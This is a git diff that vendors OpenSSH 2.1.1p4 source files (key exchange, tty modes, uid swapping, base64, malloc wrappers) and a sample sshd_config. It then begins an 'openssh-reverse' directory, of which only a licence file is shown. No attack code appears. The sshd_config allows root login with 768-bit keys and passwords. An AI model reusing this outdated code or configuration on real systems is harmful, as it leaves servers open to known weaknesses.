+ fprintf(stderr, "\npub= "); + bignum_print(dh->pub_key); + fprintf(stderr, "\n"); +#endif + if (!dh_pub_is_valid(dh, dh_client_pub)) + packet_disconnect("bad client public DH value"); + + klen = DH_size(dh); + kbuf = xmalloc(klen); + kout = DH_compute_key(kbuf, dh_client_pub, dh); + +#ifdef DEBUG_KEXDH + debug("shared secret: len %d/%d", klen, kout); + fprintf(stderr, "shared secret == "); + for (i = 0; i< kout; i++) + fprintf(stderr, "%02x", (kbuf[i])&0xff); + fprintf(stderr, "\n"); +#endif + shared_secret = BN_new(); + + BN_bin2bn(kbuf, kout, shared_secret); + memset(kbuf, 0, klen); + xfree(kbuf); + + /* XXX precompute? */ + dsa_make_key_blob(sensitive_data.dsa_host_key, &server_host_key_blob, &sbloblen); + + /* calc H */ /* XXX depends on 'kex' */ + hash = kex_hash( + client_version_string, + server_version_string, + buffer_ptr(client_kexinit), buffer_len(client_kexinit), + buffer_ptr(server_kexinit), buffer_len(server_kexinit), + (char *)server_host_key_blob, sbloblen, + dh_client_pub, + dh->pub_key, + shared_secret + ); + buffer_free(client_kexinit); + buffer_free(server_kexinit); + xfree(client_kexinit); + xfree(server_kexinit); +#ifdef DEBUG_KEXDH + fprintf(stderr, "hash == "); + for (i = 0; i< 20; i++) + fprintf(stderr, "%02x", (hash[i])&0xff); + fprintf(stderr, "\n"); +#endif + /* save session id := H */ + /* XXX hashlen depends on KEX */ + session_id2_len = 20; + session_id2 = xmalloc(session_id2_len); + memcpy(session_id2, hash, session_id2_len); + + /* sign H */ + /* XXX hashlen depends on KEX */ + dsa_sign(sensitive_data.dsa_host_key, &signature, &slen, hash, 20); + + destroy_sensitive_data(); + + /* send server hostkey, DH pubkey 'f' and singed H */ + packet_start(SSH2_MSG_KEXDH_REPLY); + packet_put_string((char *)server_host_key_blob, sbloblen); + packet_put_bignum2(dh->pub_key); /* f */ + packet_put_string((char *)signature, slen); + packet_send(); + xfree(signature); + xfree(server_host_key_blob); + packet_write_wait(); + + kex_derive_keys(kex, hash, shared_secret); + packet_set_kex(kex); + + /* have keys, free DH */ + DH_free(dh); + + debug("send SSH2_MSG_NEWKEYS."); + packet_start(SSH2_MSG_NEWKEYS); + packet_send(); + packet_write_wait(); + debug("done: send SSH2_MSG_NEWKEYS."); + + debug("Wait SSH2_MSG_NEWKEYS."); + packet_read_expect(&payload_len, SSH2_MSG_NEWKEYS); + debug("GOT SSH2_MSG_NEWKEYS."); + +#ifdef DEBUG_KEXDH + /* send 1st encrypted/maced/compressed message */ + packet_start(SSH2_MSG_IGNORE); + packet_put_cstring("markus"); + packet_send(); + packet_write_wait(); +#endif + debug("done: KEX2."); +} diff --git a/other/openssh-2.1.1p4/sshd_config b/other/openssh-2.1.1p4/sshd_config new file mode 100644 index 0000000..d3bab84 --- /dev/null +++ b/other/openssh-2.1.1p4/sshd_config @@ -0,0 +1,53 @@ +# This is ssh server systemwide configuration file. + +Port 22 +#Protocol 2,1 +ListenAddress 0.0.0.0 +#ListenAddress :: +HostKey /etc/ssh_host_key +ServerKeyBits 768 +LoginGraceTime 600 +KeyRegenerationInterval 3600 +PermitRootLogin yes +# +# Don't read ~/.rhosts and ~/.shosts files +IgnoreRhosts yes +# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication +#IgnoreUserKnownHosts yes +StrictModes yes +X11Forwarding no +X11DisplayOffset 10 +PrintMotd yes +KeepAlive yes + +# Logging +SyslogFacility AUTH +LogLevel INFO +#obsoletes QuietMode and FascistLogging + +RhostsAuthentication no +# +# For this to work you will also need host keys in /etc/ssh_known_hosts +RhostsRSAAuthentication no +# +RSAAuthentication yes + +# To disable tunneled clear text passwords, change to no here! +PasswordAuthentication yes +PermitEmptyPasswords no +# Uncomment to disable s/key passwords +#SkeyAuthentication no + +# To change Kerberos options +#KerberosAuthentication no +#KerberosOrLocalPasswd yes +#AFSTokenPassing no +#KerberosTicketCleanup no + +# Kerberos TGT Passing does only work with the AFS kaserver +#KerberosTgtPassing yes + +CheckMail no +UseLogin no + +#Subsystem sftp /usr/local/sbin/sftpd diff --git a/other/openssh-2.1.1p4/tildexpand.c b/other/openssh-2.1.1p4/tildexpand.c new file mode 100644 index 0000000..d10ea00 --- /dev/null +++ b/other/openssh-2.1.1p4/tildexpand.c @@ -0,0 +1,66 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Wed Jul 12 01:07:36 1995 ylo + */ + +#include "includes.h" +RCSID("$OpenBSD: tildexpand.c,v 1.7 2000/06/20 01:39:45 markus Exp $"); + +#include "xmalloc.h" +#include "ssh.h" + +/* + * Expands tildes in the file name. Returns data allocated by xmalloc. + * Warning: this calls getpw*. + */ +char * +tilde_expand_filename(const char *filename, uid_t my_uid) +{ + const char *cp; + unsigned int userlen; + char *expanded; + struct passwd *pw; + char user[100]; + int len; + + /* Return immediately if no tilde. */ + if (filename[0] != '~') + return xstrdup(filename); + + /* Skip the tilde. */ + filename++; + + /* Find where the username ends. */ + cp = strchr(filename, '/'); + if (cp) + userlen = cp - filename; /* Something after username. */ + else + userlen = strlen(filename); /* Nothing after username. */ + if (userlen == 0) + pw = getpwuid(my_uid); /* Own home directory. */ + else { + /* Tilde refers to someone elses home directory. */ + if (userlen > sizeof(user) - 1) + fatal("User name after tilde too long."); + memcpy(user, filename, userlen); + user[userlen] = 0; + pw = getpwnam(user); + } + if (!pw) + fatal("Unknown user %100s.", user); + + /* If referring to someones home directory, return it now. */ + if (!cp) { + /* Only home directory specified */ + return xstrdup(pw->pw_dir); + } + /* Build a path combining the specified directory and path. */ + len = strlen(pw->pw_dir) + strlen(cp + 1) + 2; + if (len > MAXPATHLEN) + fatal("Home directory too long (%d > %d", len-1, MAXPATHLEN-1); + expanded = xmalloc(len); + snprintf(expanded, len, "%s/%s", pw->pw_dir, cp + 1); + return expanded; +} diff --git a/other/openssh-2.1.1p4/ttymodes.c b/other/openssh-2.1.1p4/ttymodes.c new file mode 100644 index 0000000..f4b7af5 --- /dev/null +++ b/other/openssh-2.1.1p4/ttymodes.c @@ -0,0 +1,359 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Tue Mar 21 15:59:15 1995 ylo + * Encoding and decoding of terminal modes in a portable way. + * Much of the format is defined in ttymodes.h; it is included multiple times + * into this file with the appropriate macro definitions to generate the + * suitable code. + */ + +#include "includes.h" +RCSID("$OpenBSD: ttymodes.c,v 1.7 2000/06/20 01:39:45 markus Exp $"); + +#include "packet.h" +#include "ssh.h" + +#define TTY_OP_END 0 +#define TTY_OP_ISPEED 192 /* int follows */ +#define TTY_OP_OSPEED 193 /* int follows */ + +/* + * Converts POSIX speed_t to a baud rate. The values of the + * constants for speed_t are not themselves portable. + */ +static int +speed_to_baud(speed_t speed) +{ + switch (speed) { + case B0: + return 0; + case B50: + return 50; + case B75: + return 75; + case B110: + return 110; + case B134: + return 134; + case B150: + return 150; + case B200: + return 200; + case B300: + return 300; + case B600: + return 600; + case B1200: + return 1200; + case B1800: + return 1800; + case B2400: + return 2400; + case B4800: + return 4800; + case B9600: + return 9600; + +#ifdef B19200 + case B19200: + return 19200; +#else /* B19200 */ +#ifdef EXTA + case EXTA: + return 19200; +#endif /* EXTA */ +#endif /* B19200 */ + +#ifdef B38400 + case B38400: + return 38400; +#else /* B38400 */ +#ifdef EXTB + case EXTB: + return 38400; +#endif /* EXTB */ +#endif /* B38400 */ + +#ifdef B7200 + case B7200: + return 7200; +#endif /* B7200 */ +#ifdef B14400 + case B14400: + return 14400; +#endif /* B14400 */ +#ifdef B28800 + case B28800: + return 28800; +#endif /* B28800 */ +#ifdef B57600 + case B57600: + return 57600; +#endif /* B57600 */ +#ifdef B76800 + case B76800: + return 76800; +#endif /* B76800 */ +#ifdef B115200 + case B115200: + return 115200; +#endif /* B115200 */ +#ifdef B230400 + case B230400: + return 230400; +#endif /* B230400 */ + default: + return 9600; + } +} + +/* + * Converts a numeric baud rate to a POSIX speed_t. + */ +static speed_t +baud_to_speed(int baud) +{ + switch (baud) { + case 0: + return B0; + case 50: + return B50; + case 75: + return B75; + case 110: + return B110; + case 134: + return B134; + case 150: + return B150; + case 200: + return B200; + case 300: + return B300; + case 600: + return B600; + case 1200: + return B1200; + case 1800: + return B1800; + case 2400: + return B2400; + case 4800: + return B4800; + case 9600: + return B9600; + +#ifdef B19200 + case 19200: + return B19200; +#else /* B19200 */ +#ifdef EXTA + case 19200: + return EXTA; +#endif /* EXTA */ +#endif /* B19200 */ + +#ifdef B38400 + case 38400: + return B38400; +#else /* B38400 */ +#ifdef EXTB + case 38400: + return EXTB; +#endif /* EXTB */ +#endif /* B38400 */ + +#ifdef B7200 + case 7200: + return B7200; +#endif /* B7200 */ +#ifdef B14400 + case 14400: + return B14400; +#endif /* B14400 */ +#ifdef B28800 + case 28800: + return B28800; +#endif /* B28800 */ +#ifdef B57600 + case 57600: + return B57600; +#endif /* B57600 */ +#ifdef B76800 + case 76800: + return B76800; +#endif /* B76800 */ +#ifdef B115200 + case 115200: + return B115200; +#endif /* B115200 */ +#ifdef B230400 + case 230400: + return B230400; +#endif /* B230400 */ + default: + return B9600; + } +} + +/* + * Encodes terminal modes for the terminal referenced by fd + * in a portable manner, and appends the modes to a packet + * being constructed. + */ +void +tty_make_modes(int fd) +{ + struct termios tio; + int baud; + + if (tcgetattr(fd, &tio) < 0) { + packet_put_char(TTY_OP_END); + log("tcgetattr: %.100s", strerror(errno)); + return; + } + /* Store input and output baud rates. */ + baud = speed_to_baud(cfgetospeed(&tio)); + packet_put_char(TTY_OP_OSPEED); + packet_put_int(baud); + baud = speed_to_baud(cfgetispeed(&tio)); + packet_put_char(TTY_OP_ISPEED); + packet_put_int(baud); + + /* Store values of mode flags. */ +#define TTYCHAR(NAME, OP) \ + packet_put_char(OP); packet_put_char(tio.c_cc[NAME]); +#define TTYMODE(NAME, FIELD, OP) \ + packet_put_char(OP); packet_put_char((tio.FIELD & NAME) != 0); +#define SGTTYCHAR(NAME, OP) +#define SGTTYMODE(NAME, FIELD, OP) +#define SGTTYMODEN(NAME, FIELD, OP) + +#include "ttymodes.h" + +#undef TTYCHAR +#undef TTYMODE +#undef SGTTYCHAR +#undef SGTTYMODE +#undef SGTTYMODEN + + /* Mark end of mode data. */ + packet_put_char(TTY_OP_END); +} + +/* + * Decodes terminal modes for the terminal referenced by fd in a portable + * manner from a packet being read. + */ +void +tty_parse_modes(int fd, int *n_bytes_ptr) +{ + struct termios tio; + int opcode, baud; + int n_bytes = 0; + int failure = 0; + + /* + * Get old attributes for the terminal. We will modify these + * flags. I am hoping that if there are any machine-specific + * modes, they will initially have reasonable values. + */ + if (tcgetattr(fd, &tio) < 0) + failure = -1; + + for (;;) { + n_bytes += 1; + opcode = packet_get_char(); + switch (opcode) { + case TTY_OP_END: + goto set; + + case TTY_OP_ISPEED: + n_bytes += 4; + baud = packet_get_int(); + if (failure != -1 && cfsetispeed(&tio, baud_to_speed(baud)) < 0) + error("cfsetispeed failed for %d", baud); + break; + + case TTY_OP_OSPEED: + n_bytes += 4; + baud = packet_get_int(); + if (failure != -1 && cfsetospeed(&tio, baud_to_speed(baud)) < 0) + error("cfsetospeed failed for %d", baud); + break; + +#define TTYCHAR(NAME, OP) \ + case OP: \ + n_bytes += 1; \ + tio.c_cc[NAME] = packet_get_char(); \ + break; +#define TTYMODE(NAME, FIELD, OP) \ + case OP: \ + n_bytes += 1; \ + if (packet_get_char()) \ + tio.FIELD |= NAME; \ + else \ + tio.FIELD &= ~NAME; \ + break; +#define SGTTYCHAR(NAME, OP) +#define SGTTYMODE(NAME, FIELD, OP) +#define SGTTYMODEN(NAME, FIELD, OP) + +#include "ttymodes.h" + +#undef TTYCHAR +#undef TTYMODE +#undef SGTTYCHAR +#undef SGTTYMODE +#undef SGTTYMODEN + + default: + debug("Ignoring unsupported tty mode opcode %d (0x%x)", + opcode, opcode); + /* + * Opcodes 0 to 127 are defined to have + * a one-byte argument. + */ + if (opcode >= 0 && opcode < 128) { + n_bytes += 1; + (void) packet_get_char(); + break; + } else { + /* + * Opcodes 128 to 159 are defined to have + * an integer argument. + */ + if (opcode >= 128 && opcode < 160) { + n_bytes += 4; + (void) packet_get_int(); + break; + } + } + /* + * It is a truly undefined opcode (160 to 255). + * We have no idea about its arguments. So we + * must stop parsing. Note that some data may be + * left in the packet; hopefully there is nothing + * more coming after the mode data. + */ + log("parse_tty_modes: unknown opcode %d", opcode); + packet_integrity_check(0, 1, SSH_CMSG_REQUEST_PTY); + goto set; + } + } + +set: + if (*n_bytes_ptr != n_bytes) { + *n_bytes_ptr = n_bytes; + return; /* Don't process bytes passed */ + } + if (failure == -1) + return; /* Packet parsed ok but tty stuff failed */ + + /* Set the new modes for the terminal. */ + if (tcsetattr(fd, TCSANOW, &tio) < 0) + log("Setting tty modes failed: %.100s", strerror(errno)); + return; +} diff --git a/other/openssh-2.1.1p4/ttymodes.h b/other/openssh-2.1.1p4/ttymodes.h new file mode 100644 index 0000000..b0ef247 --- /dev/null +++ b/other/openssh-2.1.1p4/ttymodes.h @@ -0,0 +1,141 @@ +/* + * + * ttymodes.h + * + * Author: Tatu Ylonen + * SGTTY stuff contributed by Janne Snabb + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Tue Mar 21 15:42:09 1995 ylo + * + */ + +/* RCSID("$OpenBSD: ttymodes.h,v 1.8 2000/06/20 01:39:45 markus Exp $"); */ + +/* The tty mode description is a stream of bytes. The stream consists of + * opcode-arguments pairs. It is terminated by opcode TTY_OP_END (0). + * Opcodes 1-127 have one-byte arguments. Opcodes 128-159 have integer + * arguments. Opcodes 160-255 are not yet defined, and cause parsing to + * stop (they should only be used after any other data). + * + * The client puts in the stream any modes it knows about, and the + * server ignores any modes it does not know about. This allows some degree + * of machine-independence, at least between systems that use a posix-like + * tty interface. The protocol can support other systems as well, but might + * require reimplementing as mode names would likely be different. + */ + +/* + * Some constants and prototypes are defined in packet.h; this file + * is only intended for including from ttymodes.c. + */ + +/* termios macro */ /* sgtty macro */ +/* name, op */ +TTYCHAR(VINTR, 1) SGTTYCHAR(tiotc.t_intrc, 1) +TTYCHAR(VQUIT, 2) SGTTYCHAR(tiotc.t_quitc, 2) +TTYCHAR(VERASE, 3) SGTTYCHAR(tio.sg_erase, 3) +#if defined(VKILL) +TTYCHAR(VKILL, 4) SGTTYCHAR(tio.sg_kill, 4) +#endif /* VKILL */ +TTYCHAR(VEOF, 5) SGTTYCHAR(tiotc.t_eofc, 5) +#if defined(VEOL) +TTYCHAR(VEOL, 6) SGTTYCHAR(tiotc.t_brkc, 6) +#endif /* VEOL */ +#ifdef VEOL2 /* n/a */ +TTYCHAR(VEOL2, 7) +#endif /* VEOL2 */ +TTYCHAR(VSTART, 8) SGTTYCHAR(tiotc.t_startc, 8) +TTYCHAR(VSTOP, 9) SGTTYCHAR(tiotc.t_stopc, 9) +#if defined(VSUSP) +TTYCHAR(VSUSP, 10) SGTTYCHAR(tioltc.t_suspc, 10) +#endif /* VSUSP */ +#if defined(VDSUSP) +TTYCHAR(VDSUSP, 11) SGTTYCHAR(tioltc.t_dsuspc, 11) +#endif /* VDSUSP */ +#if defined(VREPRINT) +TTYCHAR(VREPRINT, 12) SGTTYCHAR(tioltc.t_rprntc, 12) +#endif /* VREPRINT */ +#if defined(VWERASE) +TTYCHAR(VWERASE, 13) SGTTYCHAR(tioltc.t_werasc, 13) +#endif /* VWERASE */ +#if defined(VLNEXT) +TTYCHAR(VLNEXT, 14) SGTTYCHAR(tioltc.t_lnextc, 14) +#endif /* VLNEXT */ +#if defined(VFLUSH) +TTYCHAR(VFLUSH, 15) SGTTYCHAR(tioltc.t_flushc, 15) +#endif /* VFLUSH */ +#ifdef VSWTCH +TTYCHAR(VSWTCH, 16) /* n/a */ +#endif /* VSWTCH */ +#if defined(VSTATUS) +TTYCHAR(VSTATUS, 17) SGTTYCHAR(tiots.tc_statusc, 17) +#endif /* VSTATUS */ +#ifdef VDISCARD +TTYCHAR(VDISCARD, 18) /* n/a */ +#endif /* VDISCARD */ + +/* name, field, op */ +TTYMODE(IGNPAR, c_iflag, 30) /* n/a */ +TTYMODE(PARMRK, c_iflag, 31) /* n/a */ +TTYMODE(INPCK, c_iflag, 32) SGTTYMODEN(ANYP, tio.sg_flags, 32) +TTYMODE(ISTRIP, c_iflag, 33) SGTTYMODEN(LPASS8, tiolm, 33) +TTYMODE(INLCR, c_iflag, 34) /* n/a */ +TTYMODE(IGNCR, c_iflag, 35) /* n/a */ +TTYMODE(ICRNL, c_iflag, 36) SGTTYMODE(CRMOD, tio.sg_flags, 36) +#if defined(IUCLC) +TTYMODE(IUCLC, c_iflag, 37) SGTTYMODE(LCASE, tio.sg_flags, 37) +#endif +TTYMODE(IXON, c_iflag, 38) /* n/a */ +TTYMODE(IXANY, c_iflag, 39) SGTTYMODEN(LDECCTQ, tiolm, 39) +TTYMODE(IXOFF, c_iflag, 40) SGTTYMODE(TANDEM, tio.sg_flags, 40) +#ifdef IMAXBEL +TTYMODE(IMAXBEL,c_iflag, 41) /* n/a */ +#endif /* IMAXBEL */ + +TTYMODE(ISIG, c_lflag, 50) /* n/a */ +TTYMODE(ICANON, c_lflag, 51) SGTTYMODEN(CBREAK, tio.sg_flags, 51) +#ifdef XCASE +TTYMODE(XCASE, c_lflag, 52) /* n/a */ +#endif +TTYMODE(ECHO, c_lflag, 53) SGTTYMODE(ECHO, tio.sg_flags, 53) +TTYMODE(ECHOE, c_lflag, 54) SGTTYMODE(LCRTERA, tiolm, 54) +TTYMODE(ECHOK, c_lflag, 55) SGTTYMODE(LCRTKIL, tiolm, 55) +TTYMODE(ECHONL, c_lflag, 56) /* n/a */ +TTYMODE(NOFLSH, c_lflag, 57) SGTTYMODE(LNOFLSH, tiolm, 57) +TTYMODE(TOSTOP, c_lflag, 58) SGTTYMODE(LTOSTOP, tiolm, 58) +#ifdef IEXTEN +TTYMODE(IEXTEN, c_lflag, 59) /* n/a */ +#endif /* IEXTEN */ +#if defined(ECHOCTL) +TTYMODE(ECHOCTL,c_lflag, 60) SGTTYMODE(LCTLECH, tiolm, 60) +#endif /* ECHOCTL */ +#ifdef ECHOKE +TTYMODE(ECHOKE, c_lflag, 61) /* n/a */ +#endif /* ECHOKE */ +#if defined(PENDIN) +TTYMODE(PENDIN, c_lflag, 62) SGTTYMODE(LPENDIN, tiolm, 62) +#endif /* PENDIN */ + +TTYMODE(OPOST, c_oflag, 70) /* n/a */ +#if defined(OLCUC) +TTYMODE(OLCUC, c_oflag, 71) SGTTYMODE(LCASE, tio.sg_flags, 71) +#endif +TTYMODE(ONLCR, c_oflag, 72) SGTTYMODE(CRMOD, tio.sg_flags, 72) +#ifdef OCRNL +TTYMODE(OCRNL, c_oflag, 73) /* n/a */ +#endif +#ifdef ONOCR +TTYMODE(ONOCR, c_oflag, 74) /* n/a */ +#endif +#ifdef ONLRET +TTYMODE(ONLRET, c_oflag, 75) /* n/a */ +#endif + +TTYMODE(CS7, c_cflag, 90) /* n/a */ +TTYMODE(CS8, c_cflag, 91) SGTTYMODE(LPASS8, tiolm, 91) +TTYMODE(PARENB, c_cflag, 92) /* n/a */ +TTYMODE(PARODD, c_cflag, 93) SGTTYMODE(ODDP, tio.sg_flags, 93) + diff --git a/other/openssh-2.1.1p4/uidswap.c b/other/openssh-2.1.1p4/uidswap.c new file mode 100644 index 0000000..3fd0eef --- /dev/null +++ b/other/openssh-2.1.1p4/uidswap.c @@ -0,0 +1,99 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Sat Sep 9 01:56:14 1995 ylo + * Code for uid-swapping. + */ + +#include "includes.h" +RCSID("$OpenBSD: uidswap.c,v 1.7 2000/06/20 01:39:45 markus Exp $"); + +#include "ssh.h" +#include "uidswap.h" +#ifdef WITH_IRIX_AUDIT +#include +#endif /* WITH_IRIX_AUDIT */ + +/* + * Note: all these functions must work in all of the following cases: + * 1. euid=0, ruid=0 + * 2. euid=0, ruid!=0 + * 3. euid!=0, ruid!=0 + * Additionally, they must work regardless of whether the system has + * POSIX saved uids or not. + */ + +#ifdef _POSIX_SAVED_IDS +/* Lets assume that posix saved ids also work with seteuid, even though that + is not part of the posix specification. */ +#define SAVED_IDS_WORK_WITH_SETEUID + +/* Saved effective uid. */ +static uid_t saved_euid = 0; + +#endif /* _POSIX_SAVED_IDS */ + +/* + * Temporarily changes to the given uid. If the effective user + * id is not root, this does nothing. This call cannot be nested. + */ +void +temporarily_use_uid(uid_t uid) +{ +#ifdef SAVED_IDS_WORK_WITH_SETEUID + /* Save the current euid. */ + saved_euid = geteuid(); + + /* Set the effective uid to the given (unprivileged) uid. */ + if (seteuid(uid) == -1) + debug("seteuid %d: %.100s", (int) uid, strerror(errno)); +#else /* SAVED_IDS_WORK_WITH_SETUID */ + /* Propagate the privileged uid to all of our uids. */ + if (setuid(geteuid()) < 0) + debug("setuid %d: %.100s", (int) geteuid(), strerror(errno)); + + /* Set the effective uid to the given (unprivileged) uid. */ + if (seteuid(uid) == -1) + debug("seteuid %d: %.100s", (int) uid, strerror(errno)); +#endif /* SAVED_IDS_WORK_WITH_SETEUID */ +} + +/* + * Restores to the original uid. + */ +void +restore_uid() +{ +#ifdef SAVED_IDS_WORK_WITH_SETEUID + /* Set the effective uid back to the saved uid. */ + if (seteuid(saved_euid) < 0) + debug("seteuid %d: %.100s", (int) saved_euid, strerror(errno)); +#else /* SAVED_IDS_WORK_WITH_SETEUID */ + /* + * We are unable to restore the real uid to its unprivileged value. + * Propagate the real uid (usually more privileged) to effective uid + * as well. + */ + setuid(getuid()); +#endif /* SAVED_IDS_WORK_WITH_SETEUID */ +} + +/* + * Permanently sets all uids to the given uid. This cannot be + * called while temporarily_use_uid is effective. + */ +void +permanently_set_uid(uid_t uid) +{ +#ifdef WITH_IRIX_AUDIT + if (sysconf(_SC_AUDIT)) { + debug("Setting sat id to %d", (int) uid); + if (satsetid(uid)) + fatal("error setting satid: %.100s", strerror(errno)); + } +#endif /* WITH_IRIX_AUDIT */ + + if (setuid(uid) < 0) + debug("setuid %d: %.100s", (int) uid, strerror(errno)); +} diff --git a/other/openssh-2.1.1p4/uidswap.h b/other/openssh-2.1.1p4/uidswap.h new file mode 100644 index 0000000..c08a370 --- /dev/null +++ b/other/openssh-2.1.1p4/uidswap.h @@ -0,0 +1,36 @@ +/* + * + * uidswap.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Sep 9 01:43:15 1995 ylo + * Last modified: Sat Sep 9 02:34:04 1995 ylo + * + */ + +#ifndef UIDSWAP_H +#define UIDSWAP_H + +/* + * Temporarily changes to the given uid. If the effective user id is not + * root, this does nothing. This call cannot be nested. + */ +void temporarily_use_uid(uid_t uid); + +/* + * Restores the original effective user id after temporarily_use_uid(). + * This should only be called while temporarily_use_uid is effective. + */ +void restore_uid(); + +/* + * Permanently sets all uids to the given uid. This cannot be called while + * temporarily_use_uid is effective. This must also clear any saved uids. + */ +void permanently_set_uid(uid_t uid); + +#endif /* UIDSWAP_H */ diff --git a/other/openssh-2.1.1p4/uuencode.c b/other/openssh-2.1.1p4/uuencode.c new file mode 100644 index 0000000..27ba655 --- /dev/null +++ b/other/openssh-2.1.1p4/uuencode.c @@ -0,0 +1,50 @@ +/* + * Copyright (c) 2000 Markus Friedl. All rights reserved. + */ +#include "includes.h" +#include "xmalloc.h" + +RCSID("$OpenBSD: uuencode.c,v 1.6 2000/06/22 23:55:00 djm Exp $"); + +int +uuencode(unsigned char *src, unsigned int srclength, + char *target, size_t targsize) +{ + return __b64_ntop(src, srclength, target, targsize); +} + +int +uudecode(const char *src, unsigned char *target, size_t targsize) +{ + int len; + char *encoded, *p; + + /* copy the 'readonly' source */ + encoded = xstrdup(src); + /* skip whitespace and data */ + for (p = encoded; *p == ' ' || *p == '\t'; p++) + ; + for (; *p != '\0' && *p != ' ' && *p != '\t'; p++) + ; + /* and remote trailing whitespace because __b64_pton needs this */ + *p = '\0'; + len = __b64_pton(encoded, target, targsize); + xfree(encoded); + return len; +} + +void +dump_base64(FILE *fp, unsigned char *data, int len) +{ + unsigned char *buf = xmalloc(2*len); + int i, n; + n = uuencode(data, len, buf, 2*len); + for (i = 0; i < n; i++) { + fprintf(fp, "%c", buf[i]); + if (i % 70 == 69) + fprintf(fp, "\n"); + } + if (i % 70 != 69) + fprintf(fp, "\n"); + xfree(buf); +} diff --git a/other/openssh-2.1.1p4/uuencode.h b/other/openssh-2.1.1p4/uuencode.h new file mode 100644 index 0000000..c92c627 --- /dev/null +++ b/other/openssh-2.1.1p4/uuencode.h @@ -0,0 +1,6 @@ +#ifndef UUENCODE_H +#define UUENCODE_H +int uuencode(unsigned char *src, unsigned int srclength, char *target, size_t targsize); +int uudecode(const char *src, unsigned char *target, size_t targsize); +void dump_base64(FILE *fp, unsigned char *data, int len); +#endif diff --git a/other/openssh-2.1.1p4/version.h b/other/openssh-2.1.1p4/version.h new file mode 100644 index 0000000..fc63bc1 --- /dev/null +++ b/other/openssh-2.1.1p4/version.h @@ -0,0 +1 @@ +#define SSH_VERSION "OpenSSH_2.1.1" diff --git a/other/openssh-2.1.1p4/xmalloc.c b/other/openssh-2.1.1p4/xmalloc.c new file mode 100644 index 0000000..ec62c58 --- /dev/null +++ b/other/openssh-2.1.1p4/xmalloc.c @@ -0,0 +1,53 @@ +/* + * Author: Tatu Ylonen + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * Created: Mon Mar 20 21:23:10 1995 ylo + * Versions of malloc and friends that check their results, and never return + * failure (they call fatal if they encounter an error). + */ + +#include "includes.h" +RCSID("$OpenBSD: xmalloc.c,v 1.7 2000/06/20 01:39:45 markus Exp $"); + +#include "ssh.h" + +void * +xmalloc(size_t size) +{ + void *ptr = malloc(size); + if (ptr == NULL) + fatal("xmalloc: out of memory (allocating %d bytes)", (int) size); + return ptr; +} + +void * +xrealloc(void *ptr, size_t new_size) +{ + void *new_ptr; + + if (ptr == NULL) + fatal("xrealloc: NULL pointer given as argument"); + new_ptr = realloc(ptr, new_size); + if (new_ptr == NULL) + fatal("xrealloc: out of memory (new_size %d bytes)", (int) new_size); + return new_ptr; +} + +void +xfree(void *ptr) +{ + if (ptr == NULL) + fatal("xfree: NULL pointer given as argument"); + free(ptr); +} + +char * +xstrdup(const char *str) +{ + int len = strlen(str) + 1; + + char *cp = xmalloc(len); + strlcpy(cp, str, len); + return cp; +} diff --git a/other/openssh-2.1.1p4/xmalloc.h b/other/openssh-2.1.1p4/xmalloc.h new file mode 100644 index 0000000..b11b49c --- /dev/null +++ b/other/openssh-2.1.1p4/xmalloc.h @@ -0,0 +1,34 @@ +/* + * + * xmalloc.h + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Mon Mar 20 22:09:17 1995 ylo + * + * Versions of malloc and friends that check their results, and never return + * failure (they call fatal if they encounter an error). + * + */ + +/* RCSID("$OpenBSD: xmalloc.h,v 1.4 2000/06/20 01:39:45 markus Exp $"); */ + +#ifndef XMALLOC_H +#define XMALLOC_H + +/* Like malloc, but calls fatal() if out of memory. */ +void *xmalloc(size_t size); + +/* Like realloc, but calls fatal() if out of memory. */ +void *xrealloc(void *ptr, size_t new_size); + +/* Frees memory allocated using xmalloc or xrealloc. */ +void xfree(void *ptr); + +/* Allocates memory using xmalloc, and copies the string into that memory. */ +char *xstrdup(const char *str); + +#endif /* XMALLOC_H */ diff --git a/other/openssh-reverse/COPYING.Ylonen b/other/openssh-reverse/COPYING.Ylonen new file mode 100644 index 0000000..ad17df1 --- /dev/null +++ b/other/openssh-reverse/COPYING.Ylonen @@ -0,0 +1,70 @@ +This file is part of the ssh software, Copyright (c) 1995 Tatu Ylonen, Finland + + +COPYING POLICY AND OTHER LEGAL ISSUES + +As far as I am concerned, the code I have written for this software +can be used freely for any purpose. Any derived versions of this +software must be clearly marked as such, and if the derived work is +incompatible with the protocol description in the RFC file, it must be +called by a name other than "ssh" or "Secure Shell". + +However, I am not implying to give any licenses to any patents or +copyrights held by third parties, and the software includes parts that +are not under my direct control. As far as I know, all included +source code is used in accordance with the relevant license agreements +and can be used freely for any purpose (the GNU license being the most +restrictive); see below for details. + +[ RSA is no longer included. ] +[ IDEA is no longer included. ] +[ DES is now external. ] +[ GMP is now external. No more GNU licence. ] +[ Zlib is now external. ] +[ The make-ssh-known-hosts script is no longer included. ] +[ TSS has been removed. ] +[ MD5 is now external. ] +[ RC4 support has been removed (RC4 is used internally for arc4random). ] +[ Blowfish is now external. ] + +The 32-bit CRC implementation in crc32.c is due to Gary S. Brown. +Comments in the file indicate it may be used for any purpose without +restrictions. + +The 32-bit CRC compensation attack detector in deattack.c was +contributed by CORE SDI S.A. under a BSD-style license. See +http://www.core-sdi.com/english/ssh/ for details. + +Note that any information and cryptographic algorithms used in this +software are publicly available on the Internet and at any major +bookstore, scientific library, and patent office worldwide. More +information can be found e.g. at "http://www.cs.hut.fi/crypto". + +The legal status of this program is some combination of all these +permissions and restrictions. Use only at your own responsibility. +You will be responsible for any legal consequences yourself; I am not +making any claims whether possessing or using this is legal or not in +your country, and I am not taking any responsibility on your behalf. + + + NO WARRANTY + +BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE 